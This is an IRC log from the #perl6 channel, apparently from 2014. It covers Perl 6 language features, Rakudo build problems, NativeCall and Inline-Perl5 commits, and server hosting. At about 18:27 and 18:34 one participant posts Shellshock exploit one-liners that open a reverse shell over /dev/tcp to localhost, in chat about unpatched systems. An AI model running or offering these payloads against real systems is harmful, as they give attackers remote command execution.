13:28 PerlJam unless someone cuts another compiler release.
13:28 FROGGS ^---- that's the problem
13:28 FROGGS well, not that :o)
13:28 FROGGS PerlJam: true
13:28 lizmat .oO( weekly compiler releases, yeah! )
13:28 FROGGS >.<
13:29 lizmat it's almost Thursday again  :-)
13:29 nwc10 there's scrollback I've not read
13:29 nwc10 oops, wrong winrog
13:29 FROGGS *g*
13:29 nwc10 wrong keyboard too, it seems
13:29 FROGGS good for star on the other hand is that my bladecenter did not arrive yet :o)
13:52 pmqs1 FROGGS: I installed star 2014.08, then tried installing Compress::Zlib with panda. That's when it complained about NativeCall. Panda with --nodeps has got past the NativeCall issue
13:53 FROGGS pmqs1: yes, we need to create the database of modules that get shipped by star in order to avoid that issue
13:53 pmqs1 ok - still eant me to create an RT ticket?
13:54 lizmat FROGGS: seems we need an C::R::L::Installation to ship with R*  :-(
13:55 FROGGS lizmat: sort of... panda has its own database
13:55 FROGGS pmqs1: that might be good, yeah
13:55 pmqs1 will do
13:55 FROGGS pmqs1: make an issue in the star repo I'd say
13:56 pmqs1 ok
13:57 molaf joined #perl6
13:58 brrt joined #perl6
14:01 kaleem joined #perl6
14:02 bartolin joined #perl6
14:05 yeahnoob joined #perl6
14:17 dalek nqp: 18c74a4 | (Tobias Leich)++ | src/vm/parrot/ (2 files):
14:17 dalek nqp: implement nqp::nativecallglobal on parrot
14:17 dalek nqp: review: https://github.com/perl6/nqp/commit/18c74a4629
14:18 nbrown joined #perl6
14:19 leont List::Util is lacking some rather common operations. I'd like a first or a first_index :-/
14:19 dalek zavolaj: e75ca9e | (Tobias Leich)++ | t/10-cglobals. (2 files):
14:19 dalek zavolaj: add tests for C global support
14:19 dalek zavolaj: review: https://github.com/jnthn/zavolaj/commit/e75ca9ea95
14:19 FROGGS leont: I want that for years :o)
14:20 PerlJam or ... just use Perl 6  :)
14:20 lizmat leont: List::MoreUtil has first, doesn't it?
14:20 brrt joined #perl6
14:21 PerlJam It has first_index too
14:21 leont I meant p6's List::Util
14:21 leont Much of p5 List::Util is already built-in, so I was expecting much of p5 List::MoreUtils in p6 List::Util
14:22 FROGGS ohh, the underscore made me think of P5
14:22 Ven m:  say [1, 2,3].first-index(3)
14:22 camelia rakudo-moar 682e03: OUTPUT«2␤»
14:22 Ven leont: ^
14:22 Ven is that not enough?
14:22 leont Ven: then that is not documented!
14:23 Ven I don't know, I just tried it :P. Didn't know that'd work
14:23 FROGGS /home/froggs/dev/specs/S32-setting-library/Containers.pod:274:=item first-index
14:23 FROGGS /home/froggs/dev/specs/S32-setting-library/Containers.pod:276: multi method first-index ( @values: Matcher $test --> Parcel )
14:23 FROGGS /home/froggs/dev/specs/S32-setting-library/Containers.pod:277: multi first-index ( Matcher $test, *@values --> Parcel )
14:23 FROGGS there it is
14:23 Ven FROGGS: not on doc.p6.org
14:23 FROGGS ohh
14:23 Ven "documented in synopses" is meh :p
14:23 PerlJam first is there, but not first-index
14:24 leont Ah, there
14:24 Ven https://github.com/rakudo/rakudo/blob/aac70aeb546d​6725d9a31cd58f1d82ccd3123679/src/core/Any.pm#L194
14:25 leont I had assumed the docs on d.p.o would be complete
14:25 Ven they're better than when I started a few monthes back :)
14:25 FROGGS the "Methods supplied by class List" at http://doc.perl6.org/type/Array is very very incomplete
14:26 PerlJam leont: The bottom of every page says "This is a work in progress to document Perl 6, and known to be incomplete."   :-)
14:26 Ven FROGGS: not really. first and first-index are on Any :P
14:27 FROGGS Ven: look at 2. at http://doc.perl6.org/type/List
14:27 FROGGS I expect to see that under Array too
14:28 Ven And so am I. I'm kidding :-). I've just learned to look at src/core now
14:29 Ven do we not have glob? ha!
14:33 Ven dir('foo', test => none(/^'.'/)) <3
14:35 treehug88 joined #perl6
14:39 PerlJam m: lines>>.words.grep(/g/).say   # nice and easy
14:39 * Ven puts some ==> here and there.
14:39 camelia rakudo-moar 682e03: OUTPUT«ag maorga Agus ag Eireagal ghluais go ghleann gleanntáin ghlas’ beag Ag gur fharraige D’fhág ag ag gleanntáin ghlas’ bheag gnéill beagán ghaoil, go gan ghá úmhlaigh gach gach gach beag agus go gan gan ghruaim ghleanntáin ghlas’␤»
14:39 PerlJam m: lines>>.words.grep(!/g/).say   # not so much
14:39 camelia rakudo-moar 682e03: OUTPUT«Cannot call 'match'; none of these signatures match:␤:(Cool:D: Any $target, *%adverbs)␤  in method Bool at src/gen/m-CORE.setting:14111␤  in sub prefix:<!> at src/gen/m-CORE.setting:4225␤  in block <unit> at /tmp/jihdYjttxl:1␤␤»
14:42 Ven PerlJam: mind if I steal it?
14:43 PerlJam Ven: not at all.
14:43 PerlJam (wondering why you'd even ask actually  :)
14:43 Ven I guess I'll go to rosettacode to collect some of those :)
14:43 Ven still, I want a breadcrumb
14:44 Ven .o( with some bread crumbs sprinkled on top )
14:45 PerlJam does anyone know a less cumbersome way to say ...
14:45 PerlJam m: lines>>.words.grep({ $_ !~~ /g/ }).say
14:45 camelia rakudo-moar 682e03: OUTPUT«Céad slán sléibhte Chontae Dhún na nGall dhá chéad slán an ard ina stua os cionn caor is coll; Nuair a mise thart le Loch Dhún Lúich’ ciúin sa ina luí I mo dhiaidh bhí Ghaoth Dobhair, is nár bhris mo chroí. taisteal dom amach trí chnoic Gh…»
14:45 PerlJam ??
14:45 Ven do we have a module that gives us image info? EXIF, width/height, etc
14:46 flussence m: lines>>.words.grep(!/g/).say
14:46 camelia rakudo-moar 682e03: OUTPUT«Cannot call 'match'; none of these signatures match:␤:(Cool:D: Any $target, *%adverbs)␤  in method Bool at src/gen/m-CORE.setting:14111␤  in sub prefix:<!> at src/gen/m-CORE.setting:4225␤  in block <unit> at /tmp/3m_oFymXmG:1␤␤»
14:46 flussence bah
14:46 Ven PerlJam: grep-not :P
14:46 PerlJam flussence: exactly!
14:46 flussence I could've sworn !/.../ DWIMed somewhere
14:46 Ven m: lines>>.words.grep(none(/g/)).say
14:46 camelia rakudo-moar 682e03: OUTPUT«Céad slán sléibhte Chontae Dhún na nGall dhá chéad slán an ard ina stua os cionn caor is coll; Nuair a mise thart le Loch Dhún Lúich’ ciúin sa ina luí I mo dhiaidh bhí Ghaoth Dobhair, is nár bhris mo chroí. taisteal dom amach trí chnoic Gh…»
14:47 * Ven cheats
14:48 PerlJam flussence: if .grep(!/.../)  doesn't DWIM, it's going to trip up all the P5 programmers that want to use P6 I think
14:49 lizmat PerlJam / Ven: I was hoping to make words() as magical as lines(), but it didn't work out so far
14:49 lizmat I *did* spec it now  :-)
14:49 Ven as magical? you mean, I can call it on an array?
14:50 PerlJam lizmat++  (I've often wishes words were that magical)
14:50 PerlJam er, wished
14:50 lizmat Ven: no, that it takes $*ARGFILES / $*IN automagically
14:51 Ven I'm not sure I like the $*ARGFILES... Probably because I don't know what it does
14:53 Ven that, er, basically means if I call `./script.p6 filename-here`, it'll open the filename for me and read its content, and feed it to slurp and other by default?
14:53 Ven or, hm, lines?
14:53 PerlJam words :)
14:54 Ven or words.
14:54 Ven that means p6 tries to do a "stat" on all of my arguments to decide whether they belong to @*ARGS or $*ARGFILES?
14:55 tinyblak joined #perl6
14:55 lizmat S02:2752
14:55 synopsebot Link: http://perlcabal.org/syn/S02.html#line_2752
14:56 lizmat also:
14:56 lizmat -n                   run program once for each line of input
14:56 lizmat -p                   same as -n, but also print $_ at the end of lines
14:56 PerlJam P6 has some concision.  Here's a one-liner I just wrote:  lines.grep({$_ !~~ /^[\s|"=>"]/})>>.substr(0,8).sort.uniq>>.say
14:56 pmurias Ven: isn't $*ARGFILES the ARGV file handle from perl5?
14:57 Ven pmurias: what's the ARGV file handle from perl5?
14:57 * pmurias looks up a good explanation
14:57 lizmat I'm still not sure, I was trying to grok how lines() does its magic, but failed so far
14:57 * Ven doesn't p5
14:58 leont Ven: the default one, in <>
14:58 Ven leont: <> is a handle on STDIN, isn't it?
14:58 Ven m: sub a { say $:foo }; a(foo => 1); # :o)
14:58 camelia rakudo-moar 682e03: OUTPUT«1␤»
14:58 leont Only if @ARG is empty
14:58 leont @ARGV
14:59 leont It's very specially magical
14:59 PerlJam Ven: In P5, <> is the "read a record" operator from the filehandle inside.  When there's no filehandle inside, it automagically reads from files given on the command line or STDIN if no files given
14:59 flussence perldoc says that <> basically does @ARGV //= ('-') and then works off that
14:59 Ven leont: it does seem a tad too magical for me :P
15:00 PerlJam Ven: not "too magical", but rather "just magical enough"   I use it all the time in P5
15:00 PerlJam I used it all the time in P4 too.
15:00 leont PerlJam: it's too magical once you realize it uses 2 arg open…
15:00 Ven but how is it decided whether an argument should be in @*ARGS or in $*ARGFILES?
15:01 nine Ven: p5 for sure has some image/EXIF module for you
15:01 Ven nine: right, nice one ;-).
15:01 pmurias the argument is always in @*ARGS
15:01 PerlJam leont: no, I *like* 2 arg open magic for one-liners and such  :)
15:01 Ven pmurias: oh, I see
15:02 pmurias and $*ARGFILES allows you easily write scripts that either function like 'bar | perl foo.pl' or 'perl foo.pl file1 file2'
15:02 pmurias s/you/you to/
15:04 PerlJam Ven: $*ARGFILES is just a magic filehandle that knows to pull filenames from @*ARGS
15:09 * pmurias is always suprised when learns that some Perl 6 guy doesn't come from p5, but maybe it's more common then he thinks
15:10 PerlJam Is input-line-separator NYI?  Some of the oneliners I'm playing with could use it.
15:11 lizmat input-line-seperator is NYI and about to be despecced
15:11 PerlJam ah.
15:11 lizmat what is it you want to do from the command line ?
15:12 PerlJam I guess I don't *need* it, but it's how my p5 brain thinks of things.    I want to do something like  p5 'BEGIN { $/ = "=>end"; } while (<>) { ... }' but in p6
15:14 lizmat so the string "=>end" is the marker between lines, right ?
15:14 PerlJam yep
15:15 lizmat the spec for lines now reads:
15:15 lizmat =item :nl
15:15 lizmat The delimiter between what are to be considered lines.  By default assumes
15:15 lizmat C<"EOL">, which indicates any combination of C<"\n">, C<"\r\n">, C<"\r"> or
15:15 lizmat any other Unicode that has the C<ZI> (Seperator, Line) property.
15:15 Ven pmurias: I come from nothing :P.
15:15 Ven And let me tell you, I've showed (off) perl 6 to a lot of people, and none of them were 5ers.
15:15 lizmat only the default is implemented currently
15:16 lizmat PerlJam: not sure how that would connect to the commandline though
15:16 Ven (I actually comme from JS-land, kinda, but saying so makes people like Madding mad)
15:17 PerlJam maybe I'll figure that out when I'm in a mood to hack on P6 rather than hack with P6  :)
15:17 * Ven notices the "sub marine" joke in s02 and chuckles
15:17 lizmat PerlJam: perhaps we need a $*EOL
15:18 PerlJam if  lines(:nl("=>end"))  worked, that would be nice.
15:18 nbrown joined #perl6
15:20 Ven pmurias: fwiw, I started my learnxiny so that non-5ers could be 6ers
15:21 guru joined #perl6
15:22 lizmat PerlJam: yes that would work
15:22 guru joined #perl6
15:22 lizmat it would be slower, but it would work  :-)
15:23 tinyblak joined #perl6
15:23 jnthn Line sep is one of those things it's preferable to push down to the VM, I think.
15:23 guru joined #perl6
15:24 jnthn Since it's already scanning its way decoding a bunch of bytes into chars as needed.
15:25 PerlJam I'm processing large data files "by hand" with various p6 one-liners.  It would be preferable if it were fast, but slower is fine if it's not "too slow"  :)
15:25 jnthn And already knows something about looking for a stopper
15:25 jnthn In Moar I was lazy and just made it seek a single grapheme :)
15:25 jnthn (With intent of implemeniting something more complete later.)
15:25 jnthn Since that is enough to hunt the \n :)
15:27 PerlJam and btw, I wouldn't even be doing this with P6 if it weren't already "fast enough"  (last year's rakudo was "too slow")
15:29 jnthn :)
15:29 jnthn Phew, the performance work so far was worth it :)
15:29 lizmat yup
15:29 lizmat I only wish we could get that extra 0.05 off of bare startup time (0.2 -> 0.15)
15:29 lizmat by making @*INC lazy
15:30 jnthn Yeah
15:30 jnthn That could do with some debugging time from me, I guess?
15:30 * jnthn wonders how many times over he's assigned his post-China Perl 6 days with tasks :)
15:30 lizmat yeah,
15:30 lizmat you need to cherry pick 1 commit
15:30 jnthn *nod*
15:31 lizmat then run the t/spec/S22-package-format/local.t
15:32 lizmat test, it will fail with the message when trying to precomp a file with "use Test" in it
15:32 jnthn OK. So I've that, and the natives work, and a bunch of async bug hunting, and giving the thread scheduler some brain surgery, and no doubt more :)
15:32 lizmat hehe,,  yeah, no pressure
15:32 Ven also, some fun
15:32 jnthn :P
15:32 lizmat meanwhile I'm getting through S32/io
15:33 lizmat chewy stuff
15:33 jnthn At least I've got vacation coming up at the latter end of October. :)
15:33 jnthn chewy? :)
15:33 lizmat needing to be chewed hard or for some time before being swallowed.
15:34 lizmat it gets *very* dry after a while
15:35 jnthn So add more liquid? ;)
15:36 * lizmat has been drinking liters of tea this week
15:36 lizmat still chewy  :-(
15:39 spider-mario joined #perl6
15:39 tinyblak_ joined #perl6
15:42 SamuraiJack joined #perl6
15:44 darutoko joined #perl6
15:44 oetiker joined #perl6
15:45 bjz joined #perl6
15:48 zakharyas joined #perl6
15:57 oetiker joined #perl6
15:58 oetiker joined #perl6
15:58 dalek specs: 5b8d701 | (Elizabeth Mattijsen)++ | S16-io.pod:
15:58 dalek specs: Minor tweaks, had forgotten .spurt
15:58 dalek specs: review: https://github.com/perl6/specs/commit/5b8d701a57
15:58 dalek specs: 6ea0174 | (Elizabeth Mattijsen)++ | S32-setting-library/IO.pod:
15:58 dalek specs: Part 4 of S32/IO revamp
15:58 dalek specs:
15:58 dalek specs: Finished with IO::Handle now.  Leaving the rest of the dragons for a later
15:58 dalek specs: time.  My head hurts.
15:58 dalek specs: review: https://github.com/perl6/specs/commit/6ea01749b6
15:59 lizmat Hopes people will have time to review S32/IO   ^^^^
15:59 lizmat (and S16, but that is more general)
16:00 dalek rakudo/nom: ecf1acd | jonathan++ | src/Perl6/ (2 files):
16:00 dalek rakudo/nom: Fix class GLOBAL::Foo { } declarations.
16:00 dalek rakudo/nom:
16:00 dalek rakudo/nom: They actually install Foo in GLOBAL now.
16:00 dalek rakudo/nom: review: https://github.com/rakudo/rakudo/commit/ecf1acd553
16:00 jnthn nine: ^^
16:03 pmurias jnthn: do we use the vtable part of STable on moarvm?
16:05 tinyblak joined #perl6
16:06 nine jnthn: many thanks! will try that this evening
16:06 jnthn pmurias: No; I thought I removed it, even...
16:06 jnthn pmurias: It was an idea that, in the end, was supplanted by spesh
16:06 jnthn And invokedynamic on JVM
16:07 pmurias isn't it parrot legacy?
16:07 jnthn And no doubt JS does equally neat optimization stuff :)
16:07 jnthn No
16:07 skids joined #perl6
16:07 jnthn The idea was to compile some method calls into vtable indexed calls.
16:07 jnthn Rather than named lookups
16:07 jnthn It turned out better to leave that to dynmaic optimization rather than static optimizaiton.
16:07 lizmat m: sub a { my int $ = 42 }; say a; say a.WHAT  # jnthn, is there a point to adding an nqp::box_i($,Int) ???
16:08 camelia rakudo-moar 682e03: OUTPUT«42␤(Int)␤»
16:08 lizmat I mean, it seems to autobox
16:08 pmurias it turns out I was using an old MoarVM
16:08 jnthn .WHAT is an operation on an object
16:09 pmurias s/using/reading the source of/
16:09 jnthn So you're never going to get a non-boxed type out of it
16:09 lizmat ah, you're saying the sub really returned an int ?
16:09 jnthn Probably
16:09 jnthn m: my int $a = 42; say $a.WHAT # simpler example
16:09 camelia rakudo-moar 682e03: OUTPUT«(Int)␤»
16:10 pmurias jnthn: the method cache level of abstraction 6model uses is the perfect fit for JS
16:10 jnthn pmurias: That was my guess too
16:11 lizmat m: my int $a; my Int $b = 42; $a = $b; say $a   # auto converts from Int -> int
16:11 jnthn pmurias: And wiht Moar doing spesh, and JVM offering invokedynamic, it seemed pointless not to leave it to dynamic opt
16:11 lizmat so why would one do a nqp::box_i at the end of sub that works with native ints ?
16:11 jnthn lizmat: Yes, it auto-unboxes there
16:11 camelia rakudo-moar 682e03: OUTPUT«(timeout)»
16:11 lizmat m: my int $a; my Int $b = 42; $a = $b; say $a    # timeout ???
16:12 camelia rakudo-moar 682e03: OUTPUT«42␤»
16:12 lizmat m: say 42
16:12 camelia rakudo-moar 682e03: OUTPUT«42␤»
16:12 jnthn Prints 42 here at REPL
16:12 japhb System overloaded?
16:12 lizmat yup
16:12 jnthn Ah, was just slow camelia
16:12 lizmat I guess it was a slow camel a
16:12 jnthn I guess that was an autocorrect :P
16:12 telex joined #perl6
16:12 lizmat no, typo intended  :-)
16:13 japhb Seriously folks, what kind of hardware would it take to do all the background tasks we like to do on our shared server, and keep camelia responsive the whole time?
16:13 jnthn lizmat: Where is the boxing operation you're talking about?
16:13 jnthn lizmat: The compiler inserts box/unbox operations for us, generally
16:14 lizmat lines :count: nqp::box_i($lines, Int);
16:14 lizmat ok, so it's not needed there
16:14 jnthn lizmat: Oh...
16:14 jnthn lizmat: One note though
16:14 jnthn lizmat: Code-gen on Parrot is...uh...not always as smart as that on JVM/Moar
16:14 dalek Inline-Perl5: 1d3d369 | nine++ | / (2 files):
16:14 dalek Inline-Perl5: Unwrap P5 coderefs when passing them back to P5.
16:14 dalek Inline-Perl5: review: https://github.com/niner/Inl​ine-Perl5/commit/1d3d369e0a
16:15 jnthn lizmat: And I'm pretty sure it screwed up the odd box/unbox thing. I forget the details, sorry...
16:15 lizmat ok, and the compiler is smart enough to not do it twice
16:15 jnthn Yes :)
16:15 lizmat so it doesn't hur
16:15 lizmat t ok
16:15 jnthn At the code-gen level, we're very aware of if we have natives or objects and about propagating that kind of info
16:15 jnthn Won't hurt
16:16 lizmat ok, then I'll leave it in  :-)
16:16 jnthn One common natives mistake, though, is to use native types and then pass stuff to places expecting boxed types
16:16 jnthn Causing it to be boxed each time
16:16 lizmat yeah, I understand
16:16 jnthn Thankfully, the allocation profiler is rather good at highlighting such transgressions.
16:17 lizmat but all nqp:: functions work with unboxed, no?
16:17 jnthn Depends which "all" you mean... :)
16:17 jnthn nqp::add_i does work on native int for example
16:17 lizmat nqp::findcclass e.g.
16:18 jnthn That one works on natives, yes.
16:18 lizmat is there a way to find out if it expects boxed or not>
16:18 jnthn If you pass boxed things, it'll just code-gen unboxes for you.
16:18 lizmat ?
16:18 jnthn um...hmm
16:18 lizmat https://github.com/perl6/nqp/​blob/master/docs/ops.markdown should be authoritative ?
16:18 jnthn Well, aside from nqp::op docs... :)
16:19 jnthn Right, that's the Good Way
16:19 lizmat okidoki
16:19 jnthn As for finding out, the JVM QAST compiler is the most explicit read
16:19 nbrown joined #perl6
16:19 jnthn As in, you can see the RT_INT/RT_STR/RT_NUM/RT_OBJ right there with the op registration.
16:20 rurban joined #perl6
16:20 * lizmat feels the hair in the back of her neck stand up
16:20 lizmat I really don't like Java  :-)
16:25 lizmat http://seclists.org/oss-sec/2014/q3/649   # seems we have a live exploit for CGI scripts / PSGI potentially / allowing remote code execution :-(
16:27 jnthn Ouch :-(
16:28 jnthn I've dealt with some amount of Java (amongst other langauges) while here in China. And while I find the language very hard to be elegant in compared to others, the API design culture - both an obsession with design patterns, and a lack of focus on making the easy things easy - was far more bothersome to me.
16:29 treehug88 joined #perl6
16:32 mberends japhb: I think a shared Camelia server needs about 2GB free memory plus the size of all processes, to accommodate automated rebuilds in the background without much performance impact.  Other generic hardware seldom causes delays, speed problems usually relate to lack of memory.  I guess a 4GB host would work fine.
16:33 lizmat jnthn: I get breakage on your last patch
16:33 jnthn Huh?
16:33 lizmat when creating restricted setting
16:34 lizmat no, actually during parsing
16:34 lizmat Stage start      :   0.000
16:34 lizmat Stage parse      : moar(7787,0x7fff7bee7310) malloc: *** error for object 0x7fccfc385040: pointer being freed was not allocated
16:34 lizmat *** set a breakpoint in malloc_error_break to debug
16:34 lizmat make: *** [CORE.setting.moarvm] Abort trap: 6
16:34 jnthn Odd
16:34 jnthn Oh
16:34 jnthn I...highly doubht that's specific to the patch :/
16:34 lizmat i move one commit back, and it builds ok
16:34 lizmat *moved
16:34 jnthn Sure, that doesn't change what I said.
16:35 jnthn Here it built fine and specested...
16:35 lizmat ah, ok
16:35 jnthn I suspect it's tripped a heisenbug :(
16:35 lizmat I'll nuke install and start from scratch
16:35 jnthn Thus why you see it and I don't :(
16:36 jnthn Sure...if it's really in your way then shuffle it off to a branch so nine can still get at it...and we can try and get ASAN on it...
16:36 rurban joined #perl6
16:36 lizmat first see if it's still there on a clean install
16:36 jnthn *nod*
16:36 * jnthn needs to sleep now
16:36 jnthn 'night
16:36 lizmat good night, jnthn!
16:37 nine I just successfully built rakudo HEAD including the patch
16:37 lizmat on what OS ?
16:37 nine openSUSE 13.1
16:38 lizmat so not OS X
16:38 * lizmat feels like the OS X canary
16:38 Mso150 joined #perl6
16:39 lizmat same problem on a clean install :-(
16:54 nine m: class Foo { method hello { say "hello" } }; my $foo = "Foo"; say $foo.new.hello;
16:55 camelia rakudo-moar ecf1ac: OUTPUT«No such method 'hello' for invocant of type 'Str'␤  in block <unit> at /tmp/_OPxYYue3K:1␤␤»
16:55 japhb mberends: Well, I'm thinking simultaneous rebuilds of all rakudos, plus spectesting, plus local logins (irssi, administration, etc.), plus camelia in all flavors in parallel.  I can't imagine 4 GB would really cut it.  I was thinking more in the range of 2-4x that number.
16:55 lizmat m: my $a = "Str"; say ::($a).WHAT    # nine
16:55 camelia rakudo-moar ecf1ac: OUTPUT«(Str)␤»
16:56 lizmat m: my $a = "Int"; say ::($a).WHAT   $ better
16:56 camelia rakudo-moar ecf1ac: OUTPUT«[31m===[0mSORRY![31m===[0m Error while compiling /tmp/YBkmqLldhEâ�¤Two terms in a rowâ�¤at /tmp/YBkmqLldhE:1â�¤------> [32mmy $a = "Int"; say ::($a).WHAT   [33mâ��[31m$ better[0mâ�¤    expecting any of:â�¤        method argumentsâ�¤        postfix…»
16:56 lizmat m: my $a = "Int"; say ::($a).WHAT   # better
16:56 camelia rakudo-moar ecf1ac: OUTPUT«(Int)␤»
16:56 nine lizmat: thanks!
16:56 nine That's a bit more complicated than I'm used to :)
16:57 lizmat yeah, but then P5 only has undef
16:57 kaleem joined #perl6
16:59 dalek rakudo/nom: 5d8eebf | (Elizabeth Mattijsen)++ | src/Perl6/World.nqp:
16:59 dalek rakudo/nom: Naive fix for build crash on OS X
16:59 dalek rakudo/nom:
16:59 dalek rakudo/nom: Apparently during the building of the setting, @!components[0] can be
16:59 dalek rakudo/nom: something on which you cannot do an "eq" reliably.
16:59 dalek rakudo/nom: review: https://github.com/rakudo/rakudo/commit/5d8eebfdc7
17:00 lizmat .tell jnthn this fixes the build breakage for me: https://github.com/rakudo/rakudo/commit/5d8eebfdc7
17:00 yoleaux lizmat: I'll pass your message to jnthn.
17:02 mberends japhb: agreed, particularly if simultaneous parallel rebuilds. If a server is initially overspecced, it could do optional work like smoke testing, benchmarking etc.
17:06 mberends japhb: if it's the hosting provider I think you might be considering, I wonder if we could experiment with packaging a service such as evalbot in a Docker container?
17:06 yeltzooo joined #perl6
17:18 brrt joined #perl6
17:20 nbrown joined #perl6
17:26 grondilu joined #perl6
17:26 grondilu Stage parse      : 527.959
17:30 dalek Inline-Perl5/v6: 5d014db | nine++ | t/inherit.t:
17:30 dalek Inline-Perl5/v6: Update skip count in t/inherit.t to match the plan
17:30 dalek Inline-Perl5/v6:
17:30 dalek Inline-Perl5/v6: Thanks to colomon++ for debugging this!
17:30 dalek Inline-Perl5/v6: review: https://github.com/niner/Inl​ine-Perl5/commit/5d014db152
17:30 dalek Inline-Perl5/v6: 1d3d369 | nine++ | / (2 files):
17:30 dalek Inline-Perl5/v6: Unwrap P5 coderefs when passing them back to P5.
17:30 dalek Inline-Perl5/v6: review: https://github.com/niner/Inl​ine-Perl5/commit/1d3d369e0a
17:30 dalek Inline-Perl5/v6: 9055c7c | nine++ | / (3 files):
17:30 dalek Inline-Perl5/v6: Merge branch 'master' into v6
17:30 dalek Inline-Perl5/v6: review: https://github.com/niner/Inl​ine-Perl5/commit/9055c7ca82
17:30 dalek Inline-Perl5/v6: 0c91def | nine++ | / (3 files):
17:30 dalek Inline-Perl5/v6: Fix instancing classes created by v6-inline;
17:30 dalek Inline-Perl5/v6:
17:30 dalek Inline-Perl5/v6: Needs current Rakudo HEAD.
17:30 dalek Inline-Perl5/v6: Thanks to jnthn++ for implementing GLOBAL::
17:30 dalek Inline-Perl5/v6: review: https://github.com/niner/Inl​ine-Perl5/commit/0c91defe0a
17:32 moritz \o
17:32 moritz back from ~9 days without internet
17:33 nine Welcome back!
17:35 vendethiel hello there, moritz :-)
17:37 spider-mario joined #perl6
17:37 [Coke] back from the very depths of hell! NO INTERNET!?
17:44 moritz [Coke]: I just didnn't bring any laptop or smartphone along
17:44 FROGGS hi moritz!
17:44 BooK leont, lizmat: the t-shirt http://www.perlmonks.org/?node_id=100807
17:44 [Coke] welcome back, you brave man. :)
17:45 moritz and just ~30 new non-spam, non-mailing-list private emails
17:45 BooK the perl/postscript http://www.perlmonks.org/?node_id=41310
17:45 ingy hi all
17:46 ingy I was just reading p6 docs for morning enlightenment
17:46 ingy I came across: The README.md file is a markdown-formatted text file, which will later be automatically rendered as html by github.
17:46 ingy is this still common?
17:46 ingy github renders README.pod
17:47 vendethiel github renders .pod, .md and .rst, I think
17:47 ingy and pod is a lot more expressive
17:48 ingy though terrible to write…
17:48 ingy but Swim fixes that
17:49 ingy anyway, who cares…
17:50 [Coke] I think if we had our druthers, we'd use sixpod.
17:50 [Coke] but md is easy. meh
18:04 moritz planteria still isn't back up :(
18:06 [Coke] nor is our admin responding to my latest emails.
18:07 itz http://pl6anet.org/
18:12 moritz itz: please steal some stylesheet from a *.perl6.org website :-)
18:12 [Coke] Pinged him on 8/28, he responded on 8/29 that he was contacting support; I pinged again on 9/7
18:13 moritz itz: and add a contact email address somewhere
18:13 itz moritz: OK
18:14 tinyblak joined #perl6
18:16 rindolf joined #perl6
18:19 moritz [Coke]: also if the domain is the problem, those folks could have run the site under a different domain or a subdomain for a while
18:19 bartolin joined #perl6
18:21 nbrown joined #perl6
18:24 guru joined #perl6
18:24 molaf_ joined #perl6
18:26 moritz it's good that, before going on vacations, I didn't consider the security implications of not upgrading a linux system for a bit over a week
18:27 itz export FOO='() { :;}; exec 5<>/dev/tcp/localhost/7070 ; /bin/cat <&5 | while read line; do $line 2>&5 >&5; done'
18:28 itz bash -c "echo foo"
18:28 dalek nqp: 0dccc88 | (Tobias Leich)++ | src/vm/jvm/ (2 files):
18:28 dalek nqp: implement nqp::nativecallglobal on jvm
18:28 dalek nqp: review: https://github.com/perl6/nqp/commit/0dccc88d68
18:30 Ven joined #perl6
18:31 Ven Do we have something akin to haskell's `newtype`? It's basically a "type alias" in haskell, but there's no implicit conversion between those
18:32 Ven Akin to a holder class with only one value and a BUILD method that takes a positional argument (plus destructuring, I guess)
18:32 gfldex joined #perl6
18:33 grondilu does Perl 6 need planetaria?  Couldn't all announcements be made on reddit?
18:34 kurahaupo_ itz: that "cat" is not only useless, the buffering it causes is actively harmful. just use read <&5
18:34 itz kurahaupo_: yes I now have
18:34 itz export FOO='() { :;}; exec 5<>/dev/tcp/localhost/7070 ; /usr/local/bin/bash <&5 >&5
18:35 PerlJam kurahaupo_: are you saying that itz wins the Useless Use of Cat award for today?  :)
18:35 itz which probably can be improved of
18:35 Ven m: @names = (-> $name, $num { "$name.$num" } for 'a'..'zzz' X 1..5); say @names
18:35 Ven camelia, wherefore art thou?
18:36 camelia rakudo-moar 5d8eeb: OUTPUT«(timeout)»
18:36 itz PerlJam: you are Randall and I claim my $5
18:36 PerlJam heh!
18:38 SamuraiJack_ joined #perl6
18:43 [Coke] grondilu: the advantage of a planet-style aggregator is that you don't need to repost things.
18:43 grondilu ok
18:43 [Coke] not sure if reddit supplies such a thing.
18:44 FROGGS star-m: use NativeCall; sub errno is native { ... }; errno()
18:44 grondilu though the point of reddit is that the community does the reposts for you.
18:44 camelia star-m 2014.08: OUTPUT«(timeout)»
18:47 FROGGS does somebody know why this happens? https://github.com/coke/rakudo-star-dai​ly/blob/3e77c32803059aff3a34350cf2b24ff​3637fa8cf/log/jvm-test-modules.log#L3
18:48 colomon joined #perl6
18:50 rindolf joined #perl6
18:51 Ven joined #perl6
18:51 pecastro joined #perl6
18:51 Ven m: @names = (-> $name, $num { "$name.$num" } for 'a'..'zzz' X 1..5); say @names
18:51 camelia rakudo-moar 5d8eeb: OUTPUT«[31m===[0mSORRY![31m===[0m Error while compiling /tmp/01FAD4HNrDâ�¤Variable '@names' is not declaredâ�¤at /tmp/01FAD4HNrD:1â�¤------> [32m@names[33mâ��[31m = (-> $name, $num { "$name.$num" } for [0mâ�¤    expecting any of:â�¤        postfixâ�¤Â»
18:51 Ven m: my @names = (-> $name, $num { "$name.$num" } for 'a'..'zzz' X 1..5); say @names
18:52 camelia rakudo-moar 5d8eeb: OUTPUT«a.1 a.2 a.3 a.4 a.5 b.1 b.2 b.3 b.4 b.5 c.1 c.2 c.3 c.4 c.5 d.1 d.2 d.3 d.4 d.5 e.1 e.2 e.3 e.4 e.5 f.1 f.2 f.3 f.4 f.5 g.1 g.2 g.3 g.4 g.5 h.1 h.2 h.3 h.4 h.5 i.1 i.2 i.3 i.4 i.5 j.1 j.2 j.3 j.4 j.5 k.1 k.2 k.3 k.4 k.5 l.1 l.2 l.3 l.4 l.5 m.1 m.2 m.3 m.4 …»
18:52 Ven okay, so it works. Nice to know
18:53 Ven m: -> $a { $a.say } if "foo" # probably the same...
18:54 camelia rakudo-moar 5d8eeb: OUTPUT«(timeout)»
18:54 Ven m: -> $a { $a.say } if "foo" # probably the same...
18:54 camelia rakudo-moar 5d8eeb: ( no output )
18:54 Ven uh-oh.
18:54 Ven okay, so that one's a closure...
18:55 nine How can I find out which traits a method has?
18:58 FROGGS nine: I don't think you can
19:00 lizmat nine: traits are just a piece of code that run at compile time doing something to the object to be
19:01 lizmat there is no central registry of trait, at least afaik
19:02 nine Is there another way to add meta information to methods comparable to Perl 5 subroutine attributes?
19:03 FROGGS okay... NativeCall@jvm started to fail between 8th of August and 12th
19:03 lizmat write your own trait ?
19:04 lizmat the other day, leont wanted some method trait
